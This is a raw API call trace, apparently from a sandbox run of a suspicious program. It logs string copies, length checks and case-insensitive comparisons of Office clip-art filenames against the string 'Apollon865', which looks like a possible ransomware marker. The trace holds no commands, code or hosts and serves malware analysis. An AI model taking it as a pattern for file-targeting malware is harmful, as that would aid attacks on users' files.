	[0074.134] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN01545_.WMF" | out: lpString1="AN01545_.WMF") returned="AN01545_.WMF"
	[0074.134] lstrlenW (lpString="AN01545_.WMF") returned 12
	[0074.134] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="01545_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN02122_.WMF" | out: lpString1="AN02122_.WMF") returned="AN02122_.WMF"
	[0074.135] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0074.135] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="02122_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN02559_.WMF" | out: lpString1="AN02559_.WMF") returned="AN02559_.WMF"
	[0074.135] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0074.135] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="02559_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN02724_.WMF" | out: lpString1="AN02724_.WMF") returned="AN02724_.WMF"
	[0074.135] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0074.135] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="02724_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN03500_.WMF" | out: lpString1="AN03500_.WMF") returned="AN03500_.WMF"
	[0074.135] lstrlenW (lpString="AN03500_.WMF") returned 12
	[0074.135] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="03500_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04108_.WMF" | out: lpString1="AN04108_.WMF") returned="AN04108_.WMF"
	[0074.135] lstrlenW (lpString="AN04108_.WMF") returned 12
	[0074.135] lstrlenW (lpString="Apollon865") returned 10
	[0074.135] lstrcmpiW (lpString1="04108_.WMF", lpString2="Apollon865") returned -1
	[0074.135] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04117_.WMF" | out: lpString1="AN04117_.WMF") returned="AN04117_.WMF"
	[0074.136] lstrlenW (lpString="AN04117_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04117_.WMF", lpString2="Apollon865") returned -1
	[0074.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04134_.WMF" | out: lpString1="AN04134_.WMF") returned="AN04134_.WMF"
	[0074.136] lstrlenW (lpString="AN04134_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04134_.WMF", lpString2="Apollon865") returned -1
	[0074.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04174_.WMF" | out: lpString1="AN04174_.WMF") returned="AN04174_.WMF"
	[0074.136] lstrlenW (lpString="AN04174_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04174_.WMF", lpString2="Apollon865") returned -1
	[0074.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04191_.WMF" | out: lpString1="AN04191_.WMF") returned="AN04191_.WMF"
	[0074.136] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04191_.WMF", lpString2="Apollon865") returned -1
	[0074.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04195_.WMF" | out: lpString1="AN04195_.WMF") returned="AN04195_.WMF"
	[0074.136] lstrlenW (lpString="AN04195_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04195_.WMF", lpString2="Apollon865") returned -1
	[0074.136] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04196_.WMF" | out: lpString1="AN04196_.WMF") returned="AN04196_.WMF"
	[0074.136] lstrlenW (lpString="AN04196_.WMF") returned 12
	[0074.136] lstrlenW (lpString="Apollon865") returned 10
	[0074.136] lstrcmpiW (lpString1="04196_.WMF", lpString2="Apollon865") returned -1
	[0074.137] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04206_.WMF" | out: lpString1="AN04206_.WMF") returned="AN04206_.WMF"
	[0074.137] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0074.137] lstrlenW (lpString="Apollon865") returned 10
	[0074.137] lstrcmpiW (lpString1="04206_.WMF", lpString2="Apollon865") returned -1
	[0074.137] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04225_.WMF" | out: lpString1="AN04225_.WMF") returned="AN04225_.WMF"
	[0074.137] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0074.137] lstrlenW (lpString="Apollon865") returned 10
	[0074.137] lstrcmpiW (lpString1="04225_.WMF", lpString2="Apollon865") returned -1
	[0074.137] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04235_.WMF" | out: lpString1="AN04235_.WMF") returned="AN04235_.WMF"
	[0074.137] lstrlenW (lpString="AN04235_.WMF") returned 12
	[0074.137] lstrlenW (lpString="Apollon865") returned 10
	[0074.137] lstrcmpiW (lpString1="04235_.WMF", lpString2="Apollon865") returned -1
	[0074.137] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04267_.WMF" | out: lpString1="AN04267_.WMF") returned="AN04267_.WMF"
	[0074.137] lstrlenW (lpString="AN04267_.WMF") returned 12
	[0074.137] lstrlenW (lpString="Apollon865") returned 10
	[0074.137] lstrcmpiW (lpString1="04267_.WMF", lpString2="Apollon865") returned -1
	[0074.138] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04269_.WMF" | out: lpString1="AN04269_.WMF") returned="AN04269_.WMF"
	[0074.138] lstrlenW (lpString="AN04269_.WMF") returned 12
	[0074.138] lstrlenW (lpString="Apollon865") returned 10
	[0074.138] lstrcmpiW (lpString1="04269_.WMF", lpString2="Apollon865") returned -1
	[0074.138] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04323_.WMF" | out: lpString1="AN04323_.WMF") returned="AN04323_.WMF"
	[0074.138] lstrlenW (lpString="AN04323_.WMF") returned 12
	[0074.138] lstrlenW (lpString="Apollon865") returned 10
	[0074.138] lstrcmpiW (lpString1="04323_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04326_.WMF" | out: lpString1="AN04326_.WMF") returned="AN04326_.WMF"
	[0074.139] lstrlenW (lpString="AN04326_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.139] lstrcmpiW (lpString1="04326_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04332_.WMF" | out: lpString1="AN04332_.WMF") returned="AN04332_.WMF"
	[0074.139] lstrlenW (lpString="AN04332_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.139] lstrcmpiW (lpString1="04332_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04355_.WMF" | out: lpString1="AN04355_.WMF") returned="AN04355_.WMF"
	[0074.139] lstrlenW (lpString="AN04355_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.139] lstrcmpiW (lpString1="04355_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04369_.WMF" | out: lpString1="AN04369_.WMF") returned="AN04369_.WMF"
	[0074.139] lstrlenW (lpString="AN04369_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.139] lstrcmpiW (lpString1="04369_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04384_.WMF" | out: lpString1="AN04384_.WMF") returned="AN04384_.WMF"
	[0074.139] lstrlenW (lpString="AN04384_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.139] lstrcmpiW (lpString1="04384_.WMF", lpString2="Apollon865") returned -1
	[0074.139] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="AN04385_.WMF" | out: lpString1="AN04385_.WMF") returned="AN04385_.WMF"
	[0074.139] lstrlenW (lpString="AN04385_.WMF") returned 12
	[0074.139] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="04385_.WMF", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BABY_01.MID" | out: lpString1="BABY_01.MID") returned="BABY_01.MID"
	[0074.140] lstrlenW (lpString="BABY_01.MID") returned 11
	[0074.140] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="ABY_01.MID", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00116_.WMF" | out: lpString1="BD00116_.WMF") returned="BD00116_.WMF"
	[0074.140] lstrlenW (lpString="BD00116_.WMF") returned 12
	[0074.140] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="00116_.WMF", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00141_.WMF" | out: lpString1="BD00141_.WMF") returned="BD00141_.WMF"
	[0074.140] lstrlenW (lpString="BD00141_.WMF") returned 12
	[0074.140] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="00141_.WMF", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00146_.WMF" | out: lpString1="BD00146_.WMF") returned="BD00146_.WMF"
	[0074.140] lstrlenW (lpString="BD00146_.WMF") returned 12
	[0074.140] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="00146_.WMF", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00155_.WMF" | out: lpString1="BD00155_.WMF") returned="BD00155_.WMF"
	[0074.140] lstrlenW (lpString="BD00155_.WMF") returned 12
	[0074.140] lstrlenW (lpString="Apollon865") returned 10
	[0074.140] lstrcmpiW (lpString1="00155_.WMF", lpString2="Apollon865") returned -1
	[0074.140] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00160_.WMF" | out: lpString1="BD00160_.WMF") returned="BD00160_.WMF"
	[0074.141] lstrlenW (lpString="BD00160_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="00160_.WMF", lpString2="Apollon865") returned -1
	[0074.141] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD00173_.WMF" | out: lpString1="BD00173_.WMF") returned="BD00173_.WMF"
	[0074.141] lstrlenW (lpString="BD00173_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="00173_.WMF", lpString2="Apollon865") returned -1
	[0074.141] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD05119_.WMF" | out: lpString1="BD05119_.WMF") returned="BD05119_.WMF"
	[0074.141] lstrlenW (lpString="BD05119_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="05119_.WMF", lpString2="Apollon865") returned -1
	[0074.141] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD06102_.WMF" | out: lpString1="BD06102_.WMF") returned="BD06102_.WMF"
	[0074.141] lstrlenW (lpString="BD06102_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="06102_.WMF", lpString2="Apollon865") returned -1
	[0074.141] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD06200_.WMF" | out: lpString1="BD06200_.WMF") returned="BD06200_.WMF"
	[0074.141] lstrlenW (lpString="BD06200_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="06200_.WMF", lpString2="Apollon865") returned -1
	[0074.141] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD07761_.WMF" | out: lpString1="BD07761_.WMF") returned="BD07761_.WMF"
	[0074.141] lstrlenW (lpString="BD07761_.WMF") returned 12
	[0074.141] lstrlenW (lpString="Apollon865") returned 10
	[0074.141] lstrcmpiW (lpString1="07761_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD07804_.WMF" | out: lpString1="BD07804_.WMF") returned="BD07804_.WMF"
	[0074.142] lstrlenW (lpString="BD07804_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="07804_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD07831_.WMF" | out: lpString1="BD07831_.WMF") returned="BD07831_.WMF"
	[0074.142] lstrlenW (lpString="BD07831_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="07831_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD08758_.WMF" | out: lpString1="BD08758_.WMF") returned="BD08758_.WMF"
	[0074.142] lstrlenW (lpString="BD08758_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="08758_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD08773_.WMF" | out: lpString1="BD08773_.WMF") returned="BD08773_.WMF"
	[0074.142] lstrlenW (lpString="BD08773_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="08773_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD08808_.WMF" | out: lpString1="BD08808_.WMF") returned="BD08808_.WMF"
	[0074.142] lstrlenW (lpString="BD08808_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="08808_.WMF", lpString2="Apollon865") returned -1
	[0074.142] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD08868_.WMF" | out: lpString1="BD08868_.WMF") returned="BD08868_.WMF"
	[0074.142] lstrlenW (lpString="BD08868_.WMF") returned 12
	[0074.142] lstrlenW (lpString="Apollon865") returned 10
	[0074.142] lstrcmpiW (lpString1="08868_.WMF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD09031_.WMF" | out: lpString1="BD09031_.WMF") returned="BD09031_.WMF"
	[0074.143] lstrlenW (lpString="BD09031_.WMF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.143] lstrcmpiW (lpString1="09031_.WMF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD09194_.WMF" | out: lpString1="BD09194_.WMF") returned="BD09194_.WMF"
	[0074.143] lstrlenW (lpString="BD09194_.WMF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.143] lstrcmpiW (lpString1="09194_.WMF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD09662_.WMF" | out: lpString1="BD09662_.WMF") returned="BD09662_.WMF"
	[0074.143] lstrlenW (lpString="BD09662_.WMF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.143] lstrcmpiW (lpString1="09662_.WMF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD09664_.WMF" | out: lpString1="BD09664_.WMF") returned="BD09664_.WMF"
	[0074.143] lstrlenW (lpString="BD09664_.WMF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.143] lstrcmpiW (lpString1="09664_.WMF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD10890_.GIF" | out: lpString1="BD10890_.GIF") returned="BD10890_.GIF"
	[0074.143] lstrlenW (lpString="BD10890_.GIF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.143] lstrcmpiW (lpString1="10890_.GIF", lpString2="Apollon865") returned -1
	[0074.143] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD10972_.GIF" | out: lpString1="BD10972_.GIF") returned="BD10972_.GIF"
	[0074.143] lstrlenW (lpString="BD10972_.GIF") returned 12
	[0074.143] lstrlenW (lpString="Apollon865") returned 10
	[0074.144] lstrcmpiW (lpString1="10972_.GIF", lpString2="Apollon865") returned -1
	[0074.144] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19563_.GIF" | out: lpString1="BD19563_.GIF") returned="BD19563_.GIF"
	[0074.144] lstrlenW (lpString="BD19563_.GIF") returned 12
	[0074.144] lstrlenW (lpString="Apollon865") returned 10
	[0074.144] lstrcmpiW (lpString1="19563_.GIF", lpString2="Apollon865") returned -1
	[0074.144] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19582_.GIF" | out: lpString1="BD19582_.GIF") returned="BD19582_.GIF"
	[0074.144] lstrlenW (lpString="BD19582_.GIF") returned 12
	[0074.144] lstrlenW (lpString="Apollon865") returned 10
	[0074.144] lstrcmpiW (lpString1="19582_.GIF", lpString2="Apollon865") returned -1
	[0074.144] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19695_.WMF" | out: lpString1="BD19695_.WMF") returned="BD19695_.WMF"
	[0074.144] lstrlenW (lpString="BD19695_.WMF") returned 12
	[0074.144] lstrlenW (lpString="Apollon865") returned 10
	[0074.144] lstrcmpiW (lpString1="19695_.WMF", lpString2="Apollon865") returned -1
	[0074.150] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19827_.WMF" | out: lpString1="BD19827_.WMF") returned="BD19827_.WMF"
	[0074.150] lstrlenW (lpString="BD19827_.WMF") returned 12
	[0074.151] lstrlenW (lpString="Apollon865") returned 10
	[0074.151] lstrcmpiW (lpString1="19827_.WMF", lpString2="Apollon865") returned -1
	[0074.151] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19828_.WMF" | out: lpString1="BD19828_.WMF") returned="BD19828_.WMF"
	[0074.151] lstrlenW (lpString="BD19828_.WMF") returned 12
	[0074.151] lstrlenW (lpString="Apollon865") returned 10
	[0074.151] lstrcmpiW (lpString1="19828_.WMF", lpString2="Apollon865") returned -1
	[0074.151] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19986_.WMF" | out: lpString1="BD19986_.WMF") returned="BD19986_.WMF"
	[0074.151] lstrlenW (lpString="BD19986_.WMF") returned 12
	[0074.151] lstrlenW (lpString="Apollon865") returned 10
	[0074.151] lstrcmpiW (lpString1="19986_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD19988_.WMF" | out: lpString1="BD19988_.WMF") returned="BD19988_.WMF"
	[0074.152] lstrlenW (lpString="BD19988_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.152] lstrcmpiW (lpString1="19988_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BD20013_.WMF" | out: lpString1="BD20013_.WMF") returned="BD20013_.WMF"
	[0074.152] lstrlenW (lpString="BD20013_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.152] lstrcmpiW (lpString1="20013_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00008_.WMF" | out: lpString1="BL00008_.WMF") returned="BL00008_.WMF"
	[0074.152] lstrlenW (lpString="BL00008_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.152] lstrcmpiW (lpString1="00008_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00012_.WMF" | out: lpString1="BL00012_.WMF") returned="BL00012_.WMF"
	[0074.152] lstrlenW (lpString="BL00012_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.152] lstrcmpiW (lpString1="00012_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00045_.WMF" | out: lpString1="BL00045_.WMF") returned="BL00045_.WMF"
	[0074.152] lstrlenW (lpString="BL00045_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.152] lstrcmpiW (lpString1="00045_.WMF", lpString2="Apollon865") returned -1
	[0074.152] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00098_.WMF" | out: lpString1="BL00098_.WMF") returned="BL00098_.WMF"
	[0074.152] lstrlenW (lpString="BL00098_.WMF") returned 12
	[0074.152] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00098_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00105_.WMF" | out: lpString1="BL00105_.WMF") returned="BL00105_.WMF"
	[0074.153] lstrlenW (lpString="BL00105_.WMF") returned 12
	[0074.153] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00105_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00122_.WMF" | out: lpString1="BL00122_.WMF") returned="BL00122_.WMF"
	[0074.153] lstrlenW (lpString="BL00122_.WMF") returned 12
	[0074.153] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00122_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00130_.WMF" | out: lpString1="BL00130_.WMF") returned="BL00130_.WMF"
	[0074.153] lstrlenW (lpString="BL00130_.WMF") returned 12
	[0074.153] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00130_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00148_.WMF" | out: lpString1="BL00148_.WMF") returned="BL00148_.WMF"
	[0074.153] lstrlenW (lpString="BL00148_.WMF") returned 12
	[0074.153] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00148_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00152_.WMF" | out: lpString1="BL00152_.WMF") returned="BL00152_.WMF"
	[0074.153] lstrlenW (lpString="BL00152_.WMF") returned 12
	[0074.153] lstrlenW (lpString="Apollon865") returned 10
	[0074.153] lstrcmpiW (lpString1="00152_.WMF", lpString2="Apollon865") returned -1
	[0074.153] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00194_.WMF" | out: lpString1="BL00194_.WMF") returned="BL00194_.WMF"
	[0074.154] lstrlenW (lpString="BL00194_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00194_.WMF", lpString2="Apollon865") returned -1
	[0074.154] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00195_.WMF" | out: lpString1="BL00195_.WMF") returned="BL00195_.WMF"
	[0074.154] lstrlenW (lpString="BL00195_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00195_.WMF", lpString2="Apollon865") returned -1
	[0074.154] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00234_.WMF" | out: lpString1="BL00234_.WMF") returned="BL00234_.WMF"
	[0074.154] lstrlenW (lpString="BL00234_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00234_.WMF", lpString2="Apollon865") returned -1
	[0074.154] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00242_.WMF" | out: lpString1="BL00242_.WMF") returned="BL00242_.WMF"
	[0074.154] lstrlenW (lpString="BL00242_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00242_.WMF", lpString2="Apollon865") returned -1
	[0074.154] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00247_.WMF" | out: lpString1="BL00247_.WMF") returned="BL00247_.WMF"
	[0074.154] lstrlenW (lpString="BL00247_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00247_.WMF", lpString2="Apollon865") returned -1
	[0074.154] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00248_.WMF" | out: lpString1="BL00248_.WMF") returned="BL00248_.WMF"
	[0074.154] lstrlenW (lpString="BL00248_.WMF") returned 12
	[0074.154] lstrlenW (lpString="Apollon865") returned 10
	[0074.154] lstrcmpiW (lpString1="00248_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00252_.WMF" | out: lpString1="BL00252_.WMF") returned="BL00252_.WMF"
	[0074.155] lstrlenW (lpString="BL00252_.WMF") returned 12
	[0074.155] lstrlenW (lpString="Apollon865") returned 10
	[0074.155] lstrcmpiW (lpString1="00252_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00254_.WMF" | out: lpString1="BL00254_.WMF") returned="BL00254_.WMF"
	[0074.155] lstrlenW (lpString="BL00254_.WMF") returned 12
	[0074.155] lstrlenW (lpString="Apollon865") returned 10
	[0074.155] lstrcmpiW (lpString1="00254_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00261_.WMF" | out: lpString1="BL00261_.WMF") returned="BL00261_.WMF"
	[0074.155] lstrlenW (lpString="BL00261_.WMF") returned 12
	[0074.155] lstrlenW (lpString="Apollon865") returned 10
	[0074.155] lstrcmpiW (lpString1="00261_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00262_.WMF" | out: lpString1="BL00262_.WMF") returned="BL00262_.WMF"
	[0074.155] lstrlenW (lpString="BL00262_.WMF") returned 12
	[0074.155] lstrlenW (lpString="Apollon865") returned 10
	[0074.155] lstrcmpiW (lpString1="00262_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00265_.WMF" | out: lpString1="BL00265_.WMF") returned="BL00265_.WMF"
	[0074.155] lstrlenW (lpString="BL00265_.WMF") returned 12
	[0074.155] lstrlenW (lpString="Apollon865") returned 10
	[0074.155] lstrcmpiW (lpString1="00265_.WMF", lpString2="Apollon865") returned -1
	[0074.155] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00267_.WMF" | out: lpString1="BL00267_.WMF") returned="BL00267_.WMF"
	[0074.155] lstrlenW (lpString="BL00267_.WMF") returned 12
	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00267_.WMF", lpString2="Apollon865") returned -1
	[0074.156] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00269_.WMF" | out: lpString1="BL00269_.WMF") returned="BL00269_.WMF"
	[0074.156] lstrlenW (lpString="BL00269_.WMF") returned 12
	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00269_.WMF", lpString2="Apollon865") returned -1
	[0074.156] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00270_.WMF" | out: lpString1="BL00270_.WMF") returned="BL00270_.WMF"
	[0074.156] lstrlenW (lpString="BL00270_.WMF") returned 12
	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00270_.WMF", lpString2="Apollon865") returned -1
	[0074.156] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00273_.WMF" | out: lpString1="BL00273_.WMF") returned="BL00273_.WMF"
	[0074.156] lstrlenW (lpString="BL00273_.WMF") returned 12
	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00273_.WMF", lpString2="Apollon865") returned -1
	[0074.156] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00274_.WMF" | out: lpString1="BL00274_.WMF") returned="BL00274_.WMF"
	[0074.156] lstrlenW (lpString="BL00274_.WMF") returned 12
	[0074.156] lstrlenW (lpString="Apollon865") returned 10
	[0074.156] lstrcmpiW (lpString1="00274_.WMF", lpString2="Apollon865") returned -1
	[0074.156] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="BL00296_.WMF" | out: lpString1="BL00296_.WMF") returned="BL00296_.WMF"
	[0074.156] lstrlenW (lpString="BL00296_.WMF") returned 12
